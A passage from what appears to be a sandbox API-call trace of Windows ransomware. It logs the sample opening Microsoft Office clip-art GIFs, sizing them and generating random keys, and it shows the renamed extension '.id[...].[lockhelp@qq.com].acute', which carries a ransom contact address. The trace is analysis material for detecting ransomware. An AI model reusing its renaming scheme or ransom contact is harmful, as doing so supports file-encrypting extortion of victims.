lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.734] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=9024) returned 1 [0274.734] CloseHandle (hObject=0x30c) returned 1 [0274.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif")) returned 0x20 [0274.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.745] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.745] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.745] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.756] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=14873) returned 1 [0274.756] CloseHandle (hObject=0x30c) returned 1 [0274.756] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif")) returned 0x20 [0274.756] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.757] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.761] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.761] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.769] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=8097) returned 1 [0274.769] CloseHandle (hObject=0x30c) returned 1 [0274.769] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif")) returned 0x20 [0274.769] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.769] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.769] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.769] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.769] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=7686) returned 1 [0274.769] CloseHandle (hObject=0x30c) returned 1 [0274.769] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif")) returned 0x20 [0274.769] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.769] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.770] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.770] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.770] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=11891) returned 1 [0274.770] CloseHandle (hObject=0x30c) returned 1 [0274.770] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif")) returned 0x20 [0274.770] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.770] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.770] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.770] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.770] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=517) returned 1 [0274.770] CloseHandle (hObject=0x30c) returned 1 [0274.770] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif")) returned 0x20 [0274.770] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.770] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.771] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.771] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.771] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=502) returned 1 [0274.771] CloseHandle (hObject=0x30c) returned 1 [0274.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif")) returned 0x20 [0274.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.771] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.771] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.771] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.772] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=12702) returned 1 [0274.772] CloseHandle (hObject=0x30c) returned 1 [0274.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif")) returned 0x20 [0274.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.772] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.772] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.772] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.772] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3484) returned 1 [0274.772] CloseHandle (hObject=0x30c) returned 1 [0274.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif")) returned 0x20 [0274.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.772] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.772] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.773] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.773] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3140) returned 1 [0274.773] CloseHandle (hObject=0x30c) returned 1 [0274.773] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif")) returned 0x20 [0274.773] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.773] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.773] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.773] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.774] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=12482) returned 1 [0274.774] CloseHandle (hObject=0x30c) returned 1 [0274.774] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif")) returned 0x20 [0274.774] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.774] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.774] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.774] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.774] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5253) returned 1 [0274.774] CloseHandle (hObject=0x30c) returned 1 [0274.774] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif")) returned 0x20 [0274.774] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.774] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.774] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.774] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.775] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2596) returned 1 [0274.775] CloseHandle (hObject=0x30c) returned 1 [0274.775] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif")) returned 0x20 [0274.775] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.775] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.775] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.775] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.776] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=10607) returned 1 [0274.776] CloseHandle (hObject=0x30c) returned 1 [0274.776] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif")) returned 0x20 [0274.776] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.776] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.776] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.777] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.777] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=15308) returned 1 [0274.777] CloseHandle (hObject=0x30c) returned 1 [0274.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif")) returned 0x20 [0274.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.777] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.777] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.777] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.777] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5315) returned 1 [0274.777] CloseHandle (hObject=0x30c) returned 1 [0274.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif")) returned 0x20 [0274.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.777] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.777] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.777] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.777] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4955) returned 1 [0274.778] CloseHandle (hObject=0x30c) returned 1 [0274.778] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif")) returned 0x20 [0274.778] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.778] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.778] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.778] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 